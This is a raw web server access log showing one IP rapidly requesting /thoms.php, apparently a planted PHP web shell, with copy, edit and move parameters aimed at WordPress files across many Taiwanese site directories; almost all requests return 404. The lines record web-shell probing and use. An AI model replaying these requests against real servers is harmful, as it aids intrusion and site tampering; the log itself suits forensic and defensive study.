45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:44 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-links-opml.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bfl.com-20260912023804 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bfl.com-20260912023804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=biotaiwan.com-20260912023713" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bodbooks.com-20260912023809 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bodbooks.com-20260912023809" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&finish=1&move=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:45 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wp-content-20260912023544 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=beauty-dental.com-20260912023807 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=beauty-dental.com-20260912023807" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=upgrade-20260912023806 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=upgrade-20260912023806" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&finish=1&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /bfl.com.tw/.well-known/?MA= HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /bfl.com.tw/.well-known/?ND= HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /bfl.com.tw/.well-known/?SA= HTTP/1.1" 200 774 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /bfl.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:46 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-admin&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-trackback.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?edit=wp-cron.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?edit=wp-cron.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-cron.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:47 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-cron.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
